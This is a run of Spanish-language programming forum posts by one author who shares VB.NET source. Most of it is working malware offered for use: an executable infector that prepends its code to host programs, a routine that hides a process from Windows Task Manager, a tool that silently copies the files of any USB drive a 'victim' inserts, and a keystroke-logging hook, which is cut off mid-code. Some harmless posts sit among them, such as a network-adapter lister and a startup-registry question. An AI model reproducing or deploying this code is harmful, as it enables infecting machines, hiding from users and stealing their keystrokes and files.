Qué tal andamos?

Bueno, hace días que llevo programando una cosilla (bla bla) y necesitaba que mi código se ejecutara en otros procesos, para ello agrego mi código al principio de un nuevo ejecutable y después el del archivo a infectar. Hasta ahí bien, pero ¿qué sucede si la víctima abre el archivo infectado? ¿Estará corrupto? Nada de eso, se ejecutará mi código. El original seguirá en el ejecutable infectado pero no correrá.

Como al inicio de la aplicación comprobamos si existe la firma en el archivo infectado miramos si es así entonces abrimos el archivo infectado y llenamos un Buffer con los datos de éste. Después, como sabemos la longitud de los datos de nuestro programa, en función de ésta seremos capaces de extraer los bytes de la aplicación original.

Funciona a la perfección. Me gustaría que me dierais vuestra opinión, no estaría de más mejorar el código.

 Private Sub Infectar_EXE(ByVal Rutas As Object())
        Try
            Dim Ruta_Archivo As String = CType(Rutas(0), String) 'declaramos las rutas..
            Dim RutaHost As String = CType(Rutas(1), String)
            Dim fs As New FileStream(Ruta_Archivo, FileMode.Open, FileAccess.Read) 'abrimos nuestra copia
            Dim size As Long = fs.Length 'obtenemos los datos de nuestra copia
            Dim Buffer(size) As Byte 'declaramos un Buffer que tendrá como tamaño los datos de nuestra copia
            Dim firma As Byte() = Encoding.Default.GetBytes("Firma") 'Preparamos la firma para escribirla/buscarla en el Buffer
            fs.Read(Buffer, 0, Buffer.Length) 'escribimos en el Buffer actual los datos de la copia
            fs.Close()
            Kill(Ruta_Archivo) 'eliminamos la copia
            fs = New FileStream(RutaHost, FileMode.Open, FileAccess.Read) 'apuntamos al archivo que se generará..
            size += (fs.Length) 'obtenemos el nuevo tamaño para el Buffer (longitud de los datos de nuestro progama + long. datos del programa Host)
            Dim offset As Long = size - fs.Length 'obtenemos los datos de la copia (Repetido pero necesario)
            If IndexOf(Buffer, firma) = -1 Then 'Si la Firma NO ESTÁ en la copia...
                Array.Resize(Buffer, size) 'Modificamos el tamaño del Buffer en función de la variable Size
                fs.Read(Buffer, offset, fs.Length) 'Llenamos el Buffer
                fs.Close()
                Kill(RutaHost) 'Eliminamos el archivo
                fs = New FileStream(RutaHost, FileMode.Create, FileAccess.Write)
                fs.Write(Buffer, 0, Buffer.Length) 'Guardamos un nuevo archivo que será el nuestro Infectado
                fs.Write(firma, 0, firma.Length) 'Le añadimos la Firma al final
                fs.Close()
            Else
                'Como hemos encontrado la Firma entonces..
                fs.Close()
                Ejecutar_Hostage(RutaHost, Buffer, 17920, Buffer.Length - 17920) 'Generamos el archivo Original y lo ejecutamos
            End If
        Catch ex As Exception
            MsgBox(ex.Message)
        End Try
    End Sub
    Private Sub Ejecutar_Hostage(ByVal RutaHost As String, ByVal Buffer As Byte(), ByVal offset As Long, ByVal Count As Int32)
        Dim copia_temporal As New FileStream("C:\temporal.exe", FileMode.Create, FileAccess.Write)
        copia_temporal.Write(Buffer, offset, Count)
        copia_temporal.Close()
        If Not Process.GetCurrentProcess.MainModule.FileName.Contains("Infectar Ejecutables") Then 'Si el nombre del Archivo que se ha ejecutado
            'es distinto del que usamos para la infección
            Process.Start("C:\temporal.exe")
        End If
    End Sub
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        FileSystem.FileCopy(Process.GetCurrentProcess.MainModule.FileName, "C:\copia.exe") 'nos copiamos en C:\
        Dim Obj() As Object = {"C:\copia.exe", "C:\archivo.exe"} 'inicio un array que contendra las rutas de los archivos
        Dim ThreadInfectar As New Thread(AddressOf Infectar_EXE)
        ThreadInfectar.Start(Obj) 'iniciamos un nuevo hilo pasandole las rutas
    End Sub
    Private Function IndexOf(BuscarEnArray As Byte(), EncotrarBytes As Byte()) As Integer
        'buscamos en el Buffer la Firma
        Dim encoding__1 As Encoding = Encoding.GetEncoding(1252)
        Dim buscar As String = encoding__1.GetString(BuscarEnArray, 0, BuscarEnArray.Length)
        Dim encontrar As String = encoding__1.GetString(EncotrarBytes, 0, EncotrarBytes.Length)
        Dim result As Integer = buscar.IndexOf(encontrar, StringComparison.Ordinal)
        Return result
    End Function
 

Poco tiene esto de Spreader, pero eso ya me lo guardo para mí jejeje.

Saludos.

Buenas tardes a todos,

estoy desarrollando una aplicación que necesita privilegios de administrador para ejecutarse. El problema no es ése, ya que se pide al usuario que se eleven los privilegios. No sé si estaré en lo cierto ya que hice una prueba poniendo mi aplicación en la clave CurrentVersion/Run (no voy a citar la ruta del registro entera) y no me pidió privilegios ni limosna ni nada, ni siquiera se inició, cosa que me está tocando los....xD

¿Qué debo de hacer?

Saludos.

Buenas tardes a todos,

bueno hoy tuve un rato mañanero libre y me puse a investigar por cuenta propia las clases del Namespace Networkinformation. Básicamente me recuerda al mítico comando ipconfig, que si te esmeras programando es como teclear ipconfig /all para listar todas las propiedades de los adaptadores de red.

Bueno lo que hace este sencillo ejemplo es listar todas las interfaces de Red, despues se pide ingresar un número que concuerde con una de las interfaces del menu y acto seguido se recogen las propiedades en un método y se muestran. Cabe decir que si no estás conectado a la red pues poca información obtendrás de la interfaz. Os dejo una screen de como queda.



Source:

Imports System.Net.NetworkInformation
Imports System.Text
Imports System.Net
Module Module1
    Private Sub Enumerar_Interfaces()
        Dim InterfazRed() As NetworkInterface = NetworkInterface.GetAllNetworkInterfaces
        For i As Int32 = 0 To InterfazRed.Length - 1
            If InterfazRed(i).Name.Contains("Loopback") Then
            Else
                Console.WriteLine(i & ")" & InterfazRed(i).Name)
            End If
        Next
        Console.WriteLine()
        Obtener_Propiedades(InterfazRed)
    End Sub
    Private Sub Obtener_Propiedades(ByVal InterfazRed() As NetworkInterface)
        Dim k As Int32 = 0
        Console.WriteLine("Introduce un indice para visualizar las propiedades del adaptador deseado")
        k = Int32.Parse(Console.ReadLine())
        If k >= 0 And k <= 9 Then
            Console.Clear()
            Console.WriteLine("Nombre de la Interfaz: " & InterfazRed(k).Name)
            Console.WriteLine("{0} " & InterfazRed(k).Speed / 1000000 & " {1}", "Velocidad Adaptador:", _
                              "Mbps")
            Console.WriteLine("Descripción: " & InterfazRed(k).Description)
            Console.WriteLine("GUID: " & InterfazRed(k).Id)
            Dim operativo As OperationalStatus = InterfazRed(k).OperationalStatus
            Select Case operativo
                Case 1
                    Console.WriteLine("Estado: Conectado")
                    Dim PropiedadesIp As IPInterfaceProperties = InterfazRed(k).GetIPProperties
                    With PropiedadesIp
                        For Each unicast As UnicastIPAddressInformation In .UnicastAddresses
                            If unicast.Address.AddressFamily = Sockets.AddressFamily.InterNetwork Then
                                Console.WriteLine("Dirección IPv4: " & unicast.Address.ToString)
                                Console.WriteLine("Máscara de Subred: " & unicast.IPv4Mask.ToString)
                            Else
                                Console.WriteLine("Direccion IPv6: " & unicast.Address.ToString)
                            End If
                        Next
                        Console.Write("Servidor DHCP: ")
                        For Each dhcp As IPAddress In .DhcpServerAddresses
                            Console.WriteLine(dhcp)
                        Next
                        Console.WriteLine("Servidores DNS:")
                        For Each servidor As IPAddress In .DnsAddresses
                            Console.WriteLine(servidor)
                        Next
                        Console.Write("Puerta de Enlace: ")
                        For Each gateway As GatewayIPAddressInformation In .GatewayAddresses
                            Console.WriteLine(gateway.Address)
                        Next
                        Console.Write("Direccion Multicast: ")
                        For Each multicast As MulticastIPAddressInformation In .MulticastAddresses
                            Console.WriteLine(multicast.Address)
                        Next
                    End With
                Case 2
                    Console.WriteLine("Estado: Desconectado")
            End Select
            Dim MACByte As Byte() = InterfazRed(k).GetPhysicalAddress.GetAddressBytes
            Dim MAC As String = Nothing
            For Each byteMac As Byte In MACByte
                MAC += Hex((byteMac)) & ":"
            Next
            Console.WriteLine("MAC: " & MAC.Remove(MAC.Length - 1, 1) & vbNewLine)
        Else
            Console.Clear()
            Main()
        End If
    End Sub
    Sub Main()
        Try
            Enumerar_Interfaces()
        Catch ex As Exception
        End Try
        Console.Read()
    End Sub
End Module
 

Saludos.

Que pasa .Net(eros) ...

como sabía que había muy pocos ejemplos de ésto rondando por la red y en el foro preguntaron por ello pues a la cama no me iba a ir sin aprender algo nuevo, y bueno, como estoy desarrollando un proyecto que tengo entre manos pues necesitaba tirar de ciertas APIs que al implementarlas me brindaran la oportunidad de ocultar un proceso en el Administrador de Tareas.

El funcionamiento es muy básico, si el Task Manager está abierto se enumeran todas las ventanas hijas y clases, una vez obtenido el handle del Task Manager y el respectivo handle de las ventanas contenedoras de las pestañas (Aplicaciones, Procesos, Servicios...) se procede a identificar el proceso actual con el proceso listado en el Listview del Admin de Tareas. Cuando se identifica el proceso la aplicación sustrae la línea donde se encuentra el nombre de nuestro proceso (WindowsApp1.exe).

Funciona bajo Windows XP y 7. El código anterior que programé solo lo hacia bajo Win XP , buenas noticias . Lo unico que el Task Manager se actualiza en muy poco tiempo y en ocasiones se percibe un comportamiento estraño, pero la finalidad es conseguida.

Disfrutadlo!

Source:

Imports System
Imports Microsoft.Win32.SafeHandles
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.ComponentModel
Class form1
    WithEvents time1 As New Timer
    Private Sub form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Running = True
    End Sub
End Class
#Region " TMListViewDelete "
 
Module TMListViewDelete
    Dim t As New Timer
#Region " Declaraciones/Funciones/Constantes "
 
    Public Const LVM_FIRST = &H1000
    Public Const LVM_DELETECOLUMN = LVM_FIRST + 28
 
    Public Const LVM_GETITEMCOUNT = (LVM_FIRST + 4)
    Public Const LVM_SORTITEMS = (LVM_FIRST + 48)
    Public Const LVM_DELETEITEM = (LVM_FIRST + 8)
    Public Const LVM_GETNEXTITEM = (LVM_FIRST + 12)
    Public Const LVM_GETITEM = (LVM_FIRST + 75)
 
    Public Delegate Function EnumDelegate(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
    Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
    Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
    Public Declare Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumDelegate, ByVal lParam As Integer) As Integer
    <DllImport("user32.dll", CharSet:=CharSet.Auto)> _
    Private Sub GetClassName(ByVal hWnd As System.IntPtr, _
   ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer)
    End Sub
    Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
    Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As IntPtr) As Integer
    Dim hwnd As IntPtr
    Dim controls As String
    Public MyProc As String
 
    Dim ProcLV As IntPtr = IntPtr.Zero
#End Region
 
#Region " Evento Tick Timer"
    Public Sub t_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
        If ProcLV = IntPtr.Zero Then
            hwnd = FindWindow(vbNullString, "Administrador de tareas de Windows")
            If hwnd <> 0 Then
                EnumChildWindows(hwnd, New EnumDelegate(AddressOf TMListViewDelete.EnumChildWindows), 0)
            End If
        Else
            GetListView(hwnd, ProcLV)
        End If
    End Sub
#End Region
 
#Region " Propiedad e inicialización"
    Public Property Running() As Boolean
        Get
            If t.Enabled = True Then
                Return True
            Else
                Return False
            End If
        End Get
        Set(ByVal value As Boolean)
            If value = True Then
                MyProc = Process.GetCurrentProcess.ProcessName 'Esto controla el archivo a ocultar. Cambiad "Processname" por el nombre del archivo a ocultar
                If Not t.Interval = 20 Then
                    With t
                        AddHandler t.Tick, AddressOf t_Tick
                        .Interval = 20
                        .Enabled = True
                        .Start()
                    End With
                Else
                    t.Enabled = True
                    t.Start()
                End If
            Else
                t.Enabled = False
                t.Stop()
                ProcLV = IntPtr.Zero
            End If
        End Set
    End Property
 
#End Region
 
#Region " Obteniendo ListViews"
    Public Function EnumChildWindows(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
        Dim strClassName As String = ObtenerClase(lngHwnd)
        Dim strText As String = ObtenerTextoVentana(lngHwnd)
        If InStr(strClassName, "SysListView32") Then
            GetListView(hwnd, lngHwnd)
            If InStr(strText, "Procesos") Then
                ProcLV = lngHwnd
            End If
        End If
        Dim Classes As String = lngHwnd.ToString & ", " & strClassName & ", " & strText
        Return 1
    End Function
    Public Function ObtenerClase(ByVal handle As IntPtr) As String
        Dim strClassName As New System.Text.StringBuilder()
        strClassName.Length = 255
        GetClassName(handle, strClassName, strClassName.Length)
        Return strClassName.ToString
    End Function
    Public Function ObtenerTextoVentana(ByVal handle As IntPtr) As String
        Dim titleText As New System.Text.StringBuilder()
        titleText.Length = GetWindowTextLength(handle) + 1
        GetWindowText(handle, titleText, titleText.Length)
        Return titleText.ToString
    End Function
 
#End Region
End Module
 
#End Region
#Region " Obtener Objetos "
Module GetItems
    Dim listViewHandle As IntPtr
#Region " Funciones "
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function OpenProcess( _
        ByVal dwDesiredAccess As UInteger, _
        ByVal bInheritHandle As Boolean, _
        ByVal dwProcessId As Integer) As SafeProcessHandle
    End Function
 
 
#Region " ReadProcessMemory "
    <DllImport(kernel32, EntryPoint:="ReadProcessMemory", SetLastError:=True, CharSet:=CharSet.Unicode)> _
    Public Function ReadProcessMemoryW( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpBaseAddress As IntPtr, _
        ByVal lpBuffer As StringBuilder, _
        ByVal nSize As Integer, _
        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
 
    <DllImport(kernel32, SetLastError:=True, CharSet:=CharSet.Ansi)> _
    Public Function ReadProcessMemory( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpBaseAddress As IntPtr, _
        ByVal lpBuffer As StringBuilder, _
        ByVal nSize As Integer, _
        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
 
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function ReadProcessMemory( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpBaseAddress As IntPtr, _
        ByRef lpBuffer As LV_ITEM, _
        ByVal nSize As Integer, _
        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
 
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function ReadProcessMemory( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpBaseAddress As IntPtr, _
        ByRef lpBuffer As HDITEM, _
        ByVal nSize As Integer, _
        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
 
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function ReadProcessMemory( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpBaseAddress As IntPtr, _
        ByVal lpBuffer As IntPtr, _
        ByVal nSize As Integer, _
        ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
#End Region
 
#Region " SendMessage "
    <DllImport(user32, SetLastError:=True)> _
    Public Function SendMessage( _
        ByVal hWnd As IntPtr, _
        ByVal message As UInteger, _
        ByVal wParam As IntPtr, _
        ByVal lParam As IntPtr) As Integer
    End Function
 
    ' Has a different return type, so can't overload.
    <DllImport(user32, SetLastError:=True, EntryPoint:="SendMessageA")> _
    Public Function GetHeaderSendMessage( _
        ByVal hWnd As IntPtr, _
        ByVal message As UInteger, _
        ByVal wParam As IntPtr, _
        ByVal lParam As IntPtr) As IntPtr
    End Function
 
    <DllImport(user32, SetLastError:=True)> _
    Public Function SendMessage( _
        ByVal hWnd As IntPtr, _
        ByVal message As UInteger, _
        ByVal wParam As Integer, _
        ByVal lParam As StringBuilder) As Integer
    End Function
 
    <DllImport(user32, SetLastError:=True)> _
    Public Function SendMessage( _
        ByVal hWnd As IntPtr, _
        ByVal message As UInteger, _
        ByVal wParam As Integer, _
        ByVal lParam As IntPtr) As Integer
    End Function
#End Region
 
#Region " VirtualAllocEx "
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function VirtualAllocEx( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpAddress As IntPtr, _
        ByVal dwSize As Integer, _
        ByVal flAllocationType As UInteger, _
        ByVal flProtect As UInteger) As IntPtr
    End Function
#End Region
 
#Region " VirtualFreeEx "
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function VirtualFreeEx( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpAddress As IntPtr, _
        ByVal dwSize As Integer, _
        ByVal dwFreeType As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
#End Region
 
#Region " WriteProcessMemory "
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function WriteProcessMemory( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpBaseAddress As IntPtr, _
        ByRef lpBuffer As LV_ITEM, _
        ByVal nSize As Integer, _
        ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
 
    <DllImport(kernel32, SetLastError:=True)> _
    Public Function WriteProcessMemory( _
        ByVal hProcess As SafeProcessHandle, _
        ByVal lpBaseAddress As IntPtr, _
        ByRef lpBuffer As HDITEM, _
        ByVal nSize As Integer, _
        ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
#End Region
#End Region
#Region " Constantes "
    Public Const LVM_FIRST As UInteger = &H1000
    Public Const LVM_DELETEITEM As UInteger = (LVM_FIRST + 8)
 
    Public Const kernel32 As String = "kernel32"
    Public Const user32 As String = "user32"
    Public Const LVM_GETITEMCOUNT As UInteger = &H1004
    Public Const LVM_GETITEMTEXT As UInteger = &H102D
    Public Const LVM_GETHEADER As UInteger = &H101F
    Public Const HDM_GETIEMA As UInteger = &H1203
    Public Const HDM_GETITEMW As UInteger = &H120B
    Public Const HDM_GETITEMCOUNT As UInteger = &H1200
    Public Const HDM_GETUNICODEFORMAT As UInteger = &H2006
    Public Const HDI_TEXT As UInteger = 2
    Public Const MEM_COMMIT As UInteger = &H1000
    Public Const MEM_RELEASE As UInteger = &H8000
    Public Const PAGE_READWRITE As UInteger = 4
    Public Const PROCESS_VM_READ As UInteger = &H10
    Public Const PROCESS_VM_WRITE As UInteger = &H20
    Public Const PROCESS_VM_OPERATION As UInteger = &H8
    Public Const WM_GETTEXT As UInteger = &HD
    Public Const WM_GETTEXTLENGTH As UInteger = &HE
#End Region
#Region " Structures "
#Region " LV_ITEM "
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> _
    Public Structure LV_ITEM
        Public mask As UInteger
        Public iItem As Integer
        Public iSubItem As Integer
        Public state As UInteger
        Public stateMask As UInteger
        Public pszText As IntPtr
        Public cchTextMax As Integer
        Public iImage As Integer
        Public lParam As IntPtr
        Public iIndent As Integer
        Public iGroupId As Integer
        Public cColumns As Integer
        Public puColumns As IntPtr
        Public piColFmt As IntPtr
        Public iGroup As Integer
        Public Function Size() As Integer
            Return Marshal.SizeOf(Me)
        End Function
    End Structure
#End Region
 
#Region " HDITEM "
    <StructLayout(LayoutKind.Sequential)> _
    Public Structure HDITEM
        Public mask As UInteger
        Public cxy As Integer
        Public pszText As IntPtr
        Public hbm As IntPtr
        Public cchTextMax As Integer
        Public fmt As Integer
        Public lParam As IntPtr
        Public iImage As Integer
        Public iOrder As Integer
        Public Function Size() As Integer
            Return Marshal.SizeOf(Me)
        End Function
    End Structure
#End Region
#End Region
#Region "Obtener objetos Listview "
    Public Function GetListView(ByVal handle As IntPtr, ByVal lvhandle As IntPtr) As Boolean
        listViewHandle = lvhandle
        Dim hParent As IntPtr = handle
 
        Dim id As Integer = -1
        Try
            For Each p In Process.GetProcessesByName("taskmgr")
                If p.MainWindowTitle = "Administrador de tareas de Windows" Then
                    id = p.Id
                End If
            Next
            If id = -1 Then
                Throw New ArgumentException("No se encontró el proceso", "processName")
            End If
        Catch : Return False : End Try
 
        Dim hprocess As SafeProcessHandle = Nothing
        Try
            hprocess = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, id)
 
            If hprocess Is Nothing Then
                If Marshal.GetLastWin32Error = 0 Then
                    Throw New System.ComponentModel.Win32Exception
                End If
            End If
 
            Dim itemCount As Integer = SendMessage(listViewHandle, LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero)
 
            For row As Integer = 0 To itemCount - 1
 
                Dim lvi As New ListViewItem(GetItem(row, 0, hprocess))
                If lvi.Text.Contains(TMListViewDelete.MyProc) Then SendMessage(listViewHandle, LVM_DELETEITEM, row, IntPtr.Zero)
            Next
        Catch : Return False
        Finally
            If hprocess IsNot Nothing Then
                hprocess.Close()
                hprocess.Dispose()
            End If
 
        End Try
        Return True
    End Function
#End Region
#Region " SafeProcessHandle "
    Friend NotInheritable Class SafeProcessHandle
        Inherits SafeHandleZeroOrMinusOneIsInvalid
        Declare Auto Function CloseHandle Lib "kernel32.dll" (ByVal hObject As IntPtr) As Boolean
 
        Public Sub New()
            MyBase.New(True)
        End Sub
 
        Public Sub New(ByVal handle As IntPtr)
            MyBase.New(True)
            MyBase.SetHandle(handle)
        End Sub
 
        Protected Overrides Function ReleaseHandle() As Boolean
            Return CloseHandle(MyBase.handle)
        End Function
 
    End Class
#End Region
#Region " ObtenerObjeto "
    Public Function GetItem(ByVal row As Integer, ByVal subitem As Integer, _
                                ByVal hProcess As SafeProcessHandle) As String
 
        Dim lvitem As New LV_ITEM
        lvitem.cchTextMax = 260
        lvitem.mask = 1
        lvitem.iItem = row
        lvitem.iSubItem = subitem
        Dim pString As IntPtr
        Dim s As New StringBuilder(260)
        Try
 
            pString = VirtualAllocEx(hProcess, IntPtr.Zero, 260, MEM_COMMIT, PAGE_READWRITE)
            lvitem.pszText = pString
            Dim pLvItem As IntPtr
            Try
                pLvItem = VirtualAllocEx(hProcess, IntPtr.Zero, lvitem.Size, MEM_COMMIT, PAGE_READWRITE)
                Dim boolResult As Boolean = WriteProcessMemory(hProcess, pLvItem, lvitem, lvitem.Size, 0)
                If boolResult = False Then Throw New Win32Exception
 
                SendMessage(listViewHandle, LVM_GETITEMTEXT, row, pLvItem)
                boolResult = ReadProcessMemory(hProcess, pString, s, 260, 0)
                If boolResult = False Then Throw New Win32Exception
                boolResult = ReadProcessMemory(hProcess, pLvItem, lvitem, Marshal.SizeOf(lvitem), 0)
                If boolResult = False Then Throw New Win32Exception
            Finally
                If pLvItem.Equals(IntPtr.Zero) = False Then
                    Dim freeResult As Boolean = VirtualFreeEx(hProcess, pLvItem, 0, MEM_RELEASE)
                    If freeResult = False Then Throw New Win32Exception
                End If
            End Try
        Finally
            If pString.Equals(IntPtr.Zero) = False Then
                Dim freeResult As Boolean = VirtualFreeEx(hProcess, pString, 0, MEM_RELEASE)
                If freeResult = False Then Throw New Win32Exception
            End If
        End Try
 
        Return s.ToString
    End Function
#End Region
End Module
 
#End Region
 

Un saludo!

Buenas para quien me lea,

estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.

Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET

Al lío:

el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)

Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.

Espero que os sirva...

Source:

Imports Microsoft.VisualBasic.FileIO
Module Interceptar
    Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
        Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
        For Each Ruta_Archivo As String In Archivos
            Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
            Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
            FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
        Next
    End Sub
    Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
        Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
        For Each Ruta_Directorio As String In Directorios
            Console.WriteLine(Ruta_Directorio)
            Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
            FileSystem.CreateDirectory(CurDir() + Directorio)
            FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
        Next
    End Sub
    Sub Main()
        Console.WriteLine("--Interceptar Archivos/Directorios USB--")
        Dim Ruta_USB As String = Nothing
        While Ruta_USB = Nothing
            For Each drive In FileSystem.Drives
                If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
                    Console.WriteLine("Se encontro un dispositivo USB")
                    Ruta_USB = drive.Name
                    Console.WriteLine(drive.Name)
                    Try
                        Interceptar_Archivos(Ruta_USB)
                        Interceptar_Carpetas(Ruta_USB)
                    Catch ex As Exception
                    End Try
                End If
            Next
        End While
        Console.Read()
    End Sub
End Module
 

Happy Hacking

Buenas a aquellos que leais el post,

he decidido postear este tema en este foro ya que por el momento no trataré con ningun lenguaje de programación. Lo que pido al poder ser es CONSEJO ya que llevo un buen rato buscando.

El problema es el siguiente:

tengo una aplicación Cliente/Servidor en la cual se producen envios de aplicaciones y son recibidas por el cliente directamente. Claro que al guardar la aplicación en el lado del Cliente tengo que introducir el nombre del ejecutable resultante manualmente en el código.

Ya probé enviando desde el Servidor un paquete con el nombre del archivo y los datos de la aplicación a enviar, después en el Cliente obtuve el nombre del archivo, pero el archivo estaba corrupto :/

Mi pregunta es, ¿Cómo obtener en el lado del Cliente el nombre del archivo recibido?

Agradezco cualquier ayuda..

Saludos.

Buenas .NET(adictos),

he observado que por este foro circulan peticiones de usuarios que desean introducirse en el mundo del hooking en Windows y he decidido codear una breve aplicación, comentada al detalle para su buen entendimiento y poder comprender las nociones básicas del Hooking.

La verdad que aprendí hace unos 2 días, me puse en C a codearlo pero .NET me tira más, ya después de leer la documentación de MSDN (abajo os dejo el link) y utilizar un poquito (la Web) Pinvoke para declarar las funciones del API ya pude completar el programa.

El programa simplemente establece un Hook de tipo LowLevelKeyBoard, captura las teclas interceptadas por el hook y finalmente las guarda una a una en un fichero de la carpeta actual.

Link Documentacion Hooks-> http://msdn.microsoft.com/en-us/library/windows/desktop/ms632589%28v=vs.85%29.aspx

Como no, comparto con vosotros el Source del programa. Está codeado bajo el Framework 4.0 y desarrollado en Visual Basic .NET (VS 2010)

Link de descarga -> http://www.mediafire.com/?4fbdmx5obwu5k10

Source:

Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Threading
Imports System.Windows.Forms
Public Class Form1
    Enum Constantes As Integer
        WH_KEYBOARD_LL = 13
        HC_ACTION = 0
        WM_KEYDOWN = &H100
        WM_KEYUP = &H101
        WM_SYSKEYDOWN = &H104
        WM_SYSKEYUP = &H105
    End Enum '-> Constantes utilizadas en el Hook Global
    <StructLayout(LayoutKind.Sequential)> _
    Public Class KBDLLHOOKSTRUCT
        Public vkCode As UInt32
        Public scanCode As UInt32
        Public flags As UInt32
        Public time As UInt32
        Public dwExtraInfo As UIntPtr
    End Class '-> Estructura que contiene los mensajes interceptados por el Hook
#Region "Declaraciones_API"
    <DllImport("user32.dll")> _
    Friend Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As HookProc, ByVal hInstance As IntPtr, ByVal threadId As Integer) As Integer
    End Function
 
    <DllImport("user32.dll")> _
    Friend Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
    End Function
    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
    Public Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
    End Function
    <DllImport("user32.dll", SetLastError:=True)> _
    Public Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
#End Region '-> Declaraciones de APIs para el uso de Hooks (SetWindowsHookEx...)
    Enum HookType As Integer
        WH_JOURNALRECORD = 0
        WH_JOURNALPLAYBACK = 1
        WH_KEYBOARD = 2
        WH_GETMESSAGE = 3
        WH_CALLWNDPROC = 4
        WH_CBT = 5
        WH_SYSMSGFILTER = 6
        WH_MOUSE = 7
        WH_HARDWARE = 8
        WH_DEBUG = 9
        WH_SHELL = 10
        WH_FOREGROUNDIDLE = 11
        WH_CALLWNDPROCRET = 12
        WH_KEYBOARD_LL = 13
        WH_MOUSE_LL = 14
    End Enum '-> Tipos de Hooks para monitorizar mensajes
    'Declaramos un delegado y le asignamos sus respectivos argumentos
    Delegate Function HookProc(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
    Private CallbackDelegate As HookProc = Nothing
    'Declaramos la variable Hook. Será la encargada de almacenar la direccion de memoria del Hook
    Dim hook As IntPtr = IntPtr.Zero
    'Procedimiento asociado al puntero AddressOf(CallBackDelegate)
    Private Function HookprocHandler(ByVal code As Integer, ByVal wParam As IntPtr, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
        Try
            'Code es la variable encargada de decir si existe un mensaje. Si code !=0 no habra nada.
            If (code < 0) Then
                'Damos paso al siguiente Hook y procedemos con el continuamiento del Sistema
                Return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
            Else
                Dim sr As New StreamWriter(CurDir() & "\log.txt", True)
